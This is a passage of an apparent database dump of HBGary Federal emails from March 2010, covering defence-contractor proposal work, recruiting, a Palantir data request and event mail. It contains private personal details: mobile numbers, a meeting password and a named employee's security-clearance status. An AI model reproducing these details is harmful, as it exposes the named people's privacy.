it\r\nnow.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotmail:\r\nFree, trusted and rich email service. Get it\r\nnow.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYour E-mail and More On-the-Go. Get Windows Live Hotmail\r\nFree. Sign\r\nup now. \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotmail: Powerful Free email with security by Microsoft. Get it\r\nnow. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n',14275,'aaron_hbgary_com/14275.html'),(3917,'2010-03-11','\"Ramona M Drucker\" <Ramona.M.Drucker-NR@raytheon.com>','/aaron@hbgary.com/new/1297002057.M825308P3547Q3917.eml','\"Ramona_M_Drucker/NR/Raytheon\" <Ramona_M_Drucker/NR/Raytheon@mck.us.ray.com>','Raytheon Cyber Warriors','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCryptography entertains you. Reverse-engineering\r\nseems pretty straightforward. And you like to break down information security\r\nsystems just to build them back, stronger and better. You seem to be the\r\nkind of person we look for at Raytheon: a cyber warrior who can help us\r\nprotect the world’s most critical data from breach, fraud, theft and sabotage.\r\nBut we want to test you to be sure. \r\n\r\nConquer these challenges and crack the code to gain restricted access\r\nto a secret message … just for cyber warriors like you.\r\n\r\n\r\n\r\nVisit our new website: www.rtncyberjobs.com\r\n\r\n\r\n\r\n\r\nRamona Drucker\r\nTalent Acquisition\r\nInformation Security Solutions (ISS)\r\nRaytheon SI Government Solutions\r\nRaytheon Intelligence and Information Systems (IIS) \r\nRaytheon Company \r\nOffice: 703.289.1310\r\nMobile: 571.830.0330\r\n\r\n',10946,'aaron_hbgary_com/10946.html'),(3918,'2010-03-11','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002058.M334287P3547Q3918.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: HBGary, Inc. Bios and Past Performance','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe need to pick one of your past\r\nperformance descriptions most relevant to tech area #1.&nbsp; Which would you like\r\nto use?\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Tuesday, March 09, 2010 9:56 PM\r\nTo: \'Aaron Barr\'; \'Aaron Barr\'; \'Ted Vera (HBGary)\'\r\nSubject: FW: HBGary, Inc. Bios and Past Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron&#8230; see below&#8230; (DCG=Digital\r\nCyber Genome)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Vela, Ryan \r\nSent: Tuesday, March 09, 2010 9:35 PM\r\nTo: Starr, Christopher H.; Larson, Cindy S.\r\nSubject: RE: HBGary, Inc. Bios and Past Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nWe need the &#8220;Relevance to DCG in\r\nthese past performances completed. It doesn&#8217;t have to be long, but we must have\r\ninformation in those blocks.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nRyan Vela\r\nLead Cyber Security\r\nForensic Examiner\r\n\r\nCyber Protection\r\nand Digital Forensics\r\nGeneral Dynamics Advanced Information Systems\r\n2721 Technology Drive, Suite 300\r\nAnnapolis Junction, MD 20701\r\nOffice: 240-456-5841\r\n\r\nMobile:\r\n832-429-4919\r\n\r\nThis email message is for\r\nthe sole use of the intended recipient(s) and may contain confidential and\r\nprivileged information. Any unauthorized review, use, disclosure, or\r\ndistribution is prohibited. If you are not an intended recipient, please\r\ncontact the sender by reply email and destroy all copies of the original\r\nmessage.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Starr, Christopher\r\nH. \r\nSent: Tuesday, March 09, 2010 7:01 AM\r\nTo: Larson, Cindy S.\r\nCc: Vela, Ryan\r\nSubject: FW: HBGary, Inc. Bios and Past Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, March 09, 2010 2:13 AM\r\nTo: Starr, Christopher H.\r\nSubject: HBGary, Inc. Bios and Past Performance\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nAttached are HBGary bios and past performance.&nbsp; The\r\nbios for HBGary Federal will be a separate doc.\r\n\r\n&nbsp;\r\n\r\nDid you want to have HBGary, Inc. and HBGary Federal, LLC be\r\n2 separate subs to GD?&nbsp; Or do you see only one of these companies being\r\nyour sub, then one of our companies subs to the other one?\r\n\r\n&nbsp;\r\n\r\nI owe you some IP language and assertion of data\r\nrights.&nbsp; After lots of thought it looks like we will talk about Digital\r\nDNA as excellent past performance and expertise, but we aren&#8217;t necessarily\r\ngoing to offer up DDNA as a foundational technology.&nbsp; Instead of\r\narrogantly saying that DDNA is the solution to describe and analyze malware, we\r\nare taking the stance that we will do research to find the best way.&nbsp; In\r\nthe event we determine that the DDNA framework is the best, this means we would\r\nneed to deliver to the gov&#8217;t trait info within the DDNA framework, which HBGary\r\npatent-pending IP.&nbsp; In this case we would likely deliver DDNA with\r\nSpecially Negotiated Rights that satisfies what DARPA needs for its\r\nmission.&nbsp; I am going to get our attorney to write this up.&nbsp; I am also\r\nworking on a section that describes our patent applications.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7073,'aaron_hbgary_com/7073.html'),(3919,'2010-03-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002058.M532777P3547Q3919.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Raytheon Cyber Warriors','Got this unsolicited email from Raytheon today.  Looks like they&#39;re making a strong push into Cyber.---------- Forwarded message ----------From: Ramona M Drucker &lt;Ramona.M.Drucker-NR@raytheon.com&gt;\r\nDate: Thu, Mar 11, 2010 at 9:20 AMSubject: Raytheon Cyber WarriorsTo: Ramona_M_Drucker/NR/Raytheon &lt;Ramona_M_Drucker/NR/Raytheon@mck.us.ray.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCryptography entertains you. Reverse-engineering\r\nseems pretty straightforward. And you like to break down information security\r\nsystems just to build them back, stronger and better. You seem to be the\r\nkind of person we look for at Raytheon: a cyber warrior who can help us\r\nprotect the world’s most critical data from breach, fraud, theft and sabotage.\r\nBut we want to test you to be sure. \r\n\r\nConquer these challenges and crack the code to gain restricted access\r\nto a secret message … just for cyber warriors like you.\r\n\r\n\r\n\r\nVisit our new website: www.rtncyberjobs.com\r\n\r\n\r\n\r\n\r\nRamona Drucker\r\nTalent Acquisition\r\nInformation Security Solutions (ISS)\r\nRaytheon SI Government Solutions\r\nRaytheon Intelligence and Information Systems (IIS) \r\nRaytheon Company \r\nOffice: 703.289.1310\r\nMobile: 571.830.0330\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',16628,'aaron_hbgary_com/16628.html'),(3920,'2010-03-11','\"Aaron Zollman\" <azollman@palantirtech.com>','/aaron@hbgary.com/new/1297002058.M733056P3547Q3920.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Datasets','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n&nbsp;\r\n\r\nJust to close the loop, we met\r\nwith Fidelis at the RSA conference and may try to explore what a partnership\r\nwould look like. We don&#8217;t have quite the pressing need for data anymore, so we\r\nhave some time. Thanks again for the introduction.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com | 202-684-8066\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 23, 2010 4:43 AM\r\nTo: Aaron Zollman\r\nCc: Matthew Steckman\r\nSubject: Re: Datasets\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry for the delay. &nbsp;We don\'t keep network data around\r\nturns out, but Rich (CTO) is checking with some other partners to see if we can\r\nget some (Fidelis and Netwitness). &nbsp;I will let you know shortly.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThat said, we kicked off the Threat Intelligence Center work\r\nlast Friday. &nbsp;As part of this effort we are going to start collecting\r\nproxy/network/netflow data.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 12:41 PM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron B!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI met Greg and (I think) Rich and Shaun in Sacramento on Tuesday\r\nto help introduce them to the platform; it was great to learn more about how\r\nyou track and respond to coordinated attacks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRight now, I&#8217;m trying to model a fast-flux coordinated botnet in\r\nPalantir and show how someone with access to a good amount of passive DNS or\r\nproxy traffic can build a visual picture of the nodes involved in coordination,\r\nand how control and activity transfer over time.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRather than try and mock up a dataset from scratch, do you guys\r\nhave some historical logs to share, say from a few days of Storm, that might\r\nmake for a more believable or accurate model?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Aaron Z.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Friday, February 19,\r\n2010 6:31 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Aaron Zollman\r\nSubject:&nbsp;Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nId\r\nlike to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp;\r\nDo you think you could work with him to get us some mock datasets to play\r\naround with in Palantir?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIll\r\nlet him pick up the thread from here, you should see an email from him with a\r\ndescription of what we&#8217;re looking for sometime today.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4632,'aaron_hbgary_com/4632.html'),(3921,'2010-03-11','\"Ted Vera\" <messenger@webex.com>','/aaron@hbgary.com/new/1297002058.M936892P3547Q3921.eml','aaron@hbgary.com','Please join now, meeting in progress: Interview','Hello Aaron Barr,   Please join my meeting that is currently in progress.   Topic: Interview  Date: Thursday, March 11, 2010  Time: 2:51 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 579 206 078  Meeting Password: hummel    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=142869977&UID=1128881392&PW=NZTViNGY5MGIy&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: hummel  4. Click \"Join Now\".  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=142869977&UID=1128881392&PW=NZTViNGY5MGIy&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=142869977&tollFree=0   Access code:579 206 078   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   ted@hbgary.com    Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',9377,'aaron_hbgary_com/9377.html'),(3922,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002059.M135665P3547Q3922.eml','chris_hummel@hotmail.com','Bridge dropped','Hi chris,\r\n\r\nOur bridge dropped.  Is there a number I can call u back at?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',12826,'aaron_hbgary_com/12826.html'),(3923,'2010-03-11','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297002059.M331062P3547Q3923.eml','aaron@hbgary.com','RE: Bridge dropped','\r\n\r\n\r\n\r\n\r\nYes, 410-668-5536.\r\n&nbsp;\r\nChris&nbsp;&gt; From: aaron@hbgary.com&gt; Date: Thu, 11 Mar 2010 15:34:37 -0500&gt; Subject: Bridge dropped&gt; To: chris_hummel@hotmail.com&gt; &gt; Hi chris,&gt; &gt; Our bridge dropped. Is there a number I can call u back at?&gt; &gt; Aaron&gt; &gt; From my iPhone 		 	   		  Hotmail: Powerful Free email with security by Microsoft. Get it now.\r\n',13886,'aaron_hbgary_com/13886.html'),(3924,'2010-03-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002059.M602961P3547Q3924.eml','\"Ted Vera\" <ted@hbgary.com>','Template','Do u want gd to fix the template when u send it or do u want the new\r\ntemplate\r\n\r\n From my iPhone\r\n',10524,'aaron_hbgary_com/10524.html'),(3925,'2010-03-11','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297002059.M823884P3547Q3925.eml','aaron@hbgary.com','Army Chief of Staff, GEN George Casey, keynotes March 19 AFCEA NOVA Luncheon - Sheraton Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n    \r\n        Follow \r\n          AFCEA NOVA on\r\n         \r\n           \r\n          \r\n          \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     Mar \r\n        19 (Fri), 2010 -- AFCEA NOVA Monthly Luncheon\r\n      Speaker:\r\n        \r\n        GEN George W. Casey, Jr.\r\n         \r\n        Chief of Staff\r\n        United States Army\r\n        \r\n      Register \r\n        Online Now\r\n        (as always, Gratis to Gov/Mil employees)\r\n      &nbsp;\r\n      \r\n      \r\n        \r\n          DETAILS\r\n            WHEN:\r\n              Friday, \r\n              March 19, 2010\r\n              11:30am - Check-In &amp; Reception\r\n              12:00n - 1:30pm - Luncheon &amp; Program\r\n            \r\n              WHERE:\r\n              Sheraton \r\n              Premiere at Tysons Corner\r\n              8661 Leesburg Pike\r\n              Vienna, Virginia 22180\r\n            \r\n              COST:\r\n              Industry Member Pre-Registered -- $35\r\n              Industry Non-member Pre-Registered -- $40\r\n              Industry Member Walk-in -- $40 (if space is available)\r\n              Industry Non-member Walk-in -- $45 (if space is available)\r\n              Government Reservations -- Gratis (but we need you to pre-register \r\n              to attend)\r\n            It is not necessary \r\n              to be a member of AFCEA to attend the monthly luncheons... But once \r\n              you come to an event, we think you\'ll want to join us!\r\n            SHUTTLE-RIDE \r\n              FROM THE PENTAGON:\r\n              AFCEA NOVA offers a shuttle-ride service between the Pentagon and the \r\n              Sheraton for luncheon attendees. The drivers will depart the Pentagon \r\n              at 1105 for the Sheraton and departs the Sheraton at 1330 for return \r\n              to the Pentagon by 1400. To sign up for a ride from the Pentagon, please 1) Register \r\n              for the Luncheon, and then 2) Fill \r\n              out the separate Shuttle Registration Form, which goes to \r\n              our VP for Govt affairs team.\r\n            Register \r\n              Online Now\r\n              \r\n            AFCEA \r\n              NOVA Corporate Table Holders\r\n              Have you Signed Up for your table for \r\n              2009-2010\r\n            With \r\n              great speakers and an average attendance of 400+, AFCEA NOVA Monthly \r\n              Luncheons are hands-down the best networking event in town for the \r\n              defense, intel &amp; homeland security communities!\r\n            Learn \r\n              about the benefits of being a Corp Table Holder &amp; Sign Up Online \r\n              Today!\r\n              \r\n              \r\n      \r\n        \r\n      \r\n      \r\n         \r\n          \r\n          &nbsp;\r\n        \r\n         \r\n          2009-2010 \r\n              Multi-Table Sponsors\r\n        \r\n         \r\n           \r\n              Booz Allen Hamilton \r\n          \r\n              General Dynamics\r\n              \r\n              \r\n        \r\n         \r\n          \r\n        \r\n         \r\n          2009-2010 \r\n              Full-Table Sponsors\r\n        \r\n         \r\n          \r\n              AT&amp;T\r\n              BAE Systems\r\n              Bomgar \r\n              Booz Allen Hamilton\r\n              Booz Allen Hamilton\r\n              Brocade\r\n              CACI\r\n              CompTIA\r\n              Deloitte\r\n              DLT Solutions, Inc.\r\n              Eclat\r\n              Fairfax Co Economic Development Authority \r\n              General Dynamics\r\n              General Dynamics IT\r\n            &nbsp;\r\n            \r\n            \r\n            \r\n            GTSI / NetApp\r\n            Harris\r\n            HP\r\n            IBM \r\n            immixGroup\r\n            ITT\r\n            Kratos Defense &amp; Security\r\n            Lockheed Martin\r\n            Nortel Government Solutions\r\n            Northrop Grumman\r\n            QinetiQ North America\r\n            SAIC\r\n            Segovia \r\n            Sybase\r\n            Verizon Business\r\n            \r\n            \r\n        \r\n         \r\n          2009-2010 \r\n            Half-Table Sponsors\r\n        \r\n         \r\n          Accenture\r\n              Adobe Systems\r\n              Akamai Technologies\r\n              Alion Science and Technology\r\n              ASM Research\r\n              ASSYST \r\n              Brandon Technology Consulting\r\n              CA, Inc.\r\n              CDW\r\n              Ciena \r\n              Cisco\r\n              Copper River Information Technology\r\n              CSC\r\n              Data Systems &amp; Technology\r\n              FedSources \r\n              Femme Comp\r\n              Fluke Networks\r\n              Fujitsu Network Communications\r\n              Global Broadband Solutions\r\n              Graybar/Tyco \r\n              iDirect Government Technologies\r\n              iGov\r\n              InfoZen \r\n              INPUT \r\n              InTec\r\n              Juniper Networks\r\n              L-3 Enterprise IT Solutions\r\n              L-3 GS&amp;ES\r\n              Level 3 Communications\r\n              LGS Innovations\r\n            \r\n               \r\n            \r\n          MorganFranklin\r\n              NCI Information Systems\r\n              Next Tier Concepts \r\n              NetStar-1\r\n              NJVC\r\n              NOVA Corporation\r\n              Parabon Computation\r\n              Paragon Communications Solutions\r\n              Perot Systems\r\n              Pragmatics\r\n              Quest Software\r\n              Qwest Government Services\r\n              SDV Solutions\r\n              SecureInfo Corporation\r\n              Security University\r\n              Senior Executive Services\r\n              Solers\r\n              Sprint\r\n              SRA International\r\n              STG, Inc.\r\n              Symantec\r\n              TCoombs &amp; Associates\r\n              TechTeam Government Solutions\r\n              Trusted Computer Solutions\r\n              Ultra Electronics-Criticom\r\n              Unisys\r\n              Vangent\r\n              Vision Technologies\r\n              Whitney, Bradley &amp; Brown\r\n              \r\n        \r\n      \r\n      Shouldn\'t \r\n        Your Company Be Listed Above as a Monthly Table Holder?\r\n        Sign \r\n        Up Online Today!\r\n      Volunteer \r\n        with AFCEA NOVA\r\n      \r\n    \r\n    \r\n    \r\n       \r\n         \r\n      \r\n         \r\n          \r\n               \r\n                AFCEA \r\n                    NOVA UpComing Events\r\n                  \r\n              \r\n            \r\n        \r\n         \r\n          \r\n               \r\n                &nbsp;\r\n                  Mar \r\n                    2010 Monthly Luncheon w/ GEN George Casey, Army Chief of Staff\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Mar 19 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Naval \r\n                    IT Day,\r\n                    9th Annual\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 15 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Apr \r\n                    2010 Monthly Luncheon\r\n                  Sheraton \r\n                    Premiere Tysons Corner,\r\n                    Apr 23 (Fri), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                  Annual \r\n                    Golf Tournament\r\n                  Old \r\n                    Hickory Golf Club, Woodbridge\r\n                    Apr 29 (Thu), 2010\r\n                  &nbsp;\r\n              \r\n               \r\n                All \r\n                    Upcoming events...\r\n              \r\n            \r\n        \r\n       \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Volunteer\r\n        with\r\n        AFCEA NOVA\r\n      &nbsp;\r\n      &nbsp;\r\n      &nbsp;\r\n      Follow\r\n        AFCEA NOVA\r\n        on\r\n      \r\n      \r\n      \r\n      \r\n      &nbsp;\r\n      &nbsp;\r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management Consulting and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',7760,'aaron_hbgary_com/7760.html'),(3926,'2010-03-11','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297002059.M999141P3547Q3926.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','How to refer to Secure Decisions in the proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDARPA is very familiar with Secure Decisions, not AVI. At\r\nleast one of the non-DARPA people who I think will serve as an evaluator also\r\nknows us as Secure Decisions.\r\n\r\nIf you want to build on the evaluators&#8217; positive recognition\r\nof us, then refer to us as either Secure Decisions, or AVI-Secure Decisions.\r\nYou can start by introducing us as follows:\r\n\r\n&nbsp;\r\n\r\nOur teammate is Applied Visions, Inc. &#8211; Secure Decisions\r\ndivision [and then refer to us either as Secure Decisions or AVI-Secure\r\nDecisions]\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAnita \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions\r\nDivision\r\n\r\n6 Bayview Avenue, Northport,\r\nNY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16886,'aaron_hbgary_com/16886.html'),(3927,'2010-03-11','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002060.M213798P3547Q3927.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','RE: How to refer to Secure Decisions in the proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAnita,\r\n\r\n&nbsp;\r\n\r\nSounds good.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Anita D\'Amico\r\n[mailto:anitad@securedecisions.avi.com] \r\nSent: Thursday, March 11, 2010 4:31 PM\r\nTo: Starr, Christopher H.; Aaron Barr\r\nCc: Brianne O\'Brien\r\nSubject: How to refer to Secure Decisions in the proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDARPA is very familiar with Secure Decisions, not AVI. At\r\nleast one of the non-DARPA people who I think will serve as an evaluator also\r\nknows us as Secure Decisions.\r\n\r\nIf you want to build on the evaluators&#8217; positive recognition\r\nof us, then refer to us as either Secure Decisions, or AVI-Secure Decisions.\r\nYou can start by introducing us as follows:\r\n\r\n&nbsp;\r\n\r\nOur teammate is Applied Visions, Inc. &#8211; Secure\r\nDecisions division [and then refer to us either as Secure Decisions or\r\nAVI-Secure Decisions]\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAnita \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions\r\nDivision\r\n\r\n6 Bayview Avenue, Northport,\r\nNY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2515,'aaron_hbgary_com/2515.html'),(3928,'2010-03-11','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002060.M413213P3547Q3928.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Ted Vera','\r\n\r\n\r\n\r\n\r\nFW: Ted Vera\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nI got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?\r\n\r\nLet me know,\r\n\r\n\r\n\r\nChris \r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Willson, Jonathan G (TASC)\r\nSent: Thursday, March 11, 2010 3:19 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Choate, William R (TASC)\r\nSubject: Ted Vera\r\n\r\n\r\n\r\nChris,\r\n\r\nI received a notification from the customer today that they will not be able to crossover Ted Vera&#8217;s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.\r\n\r\nThanks,\r\n\r\nJonathan Willson\r\nPersonnel Security\r\nNorthrop Grumman TASC\r\n4801 Stonecroft 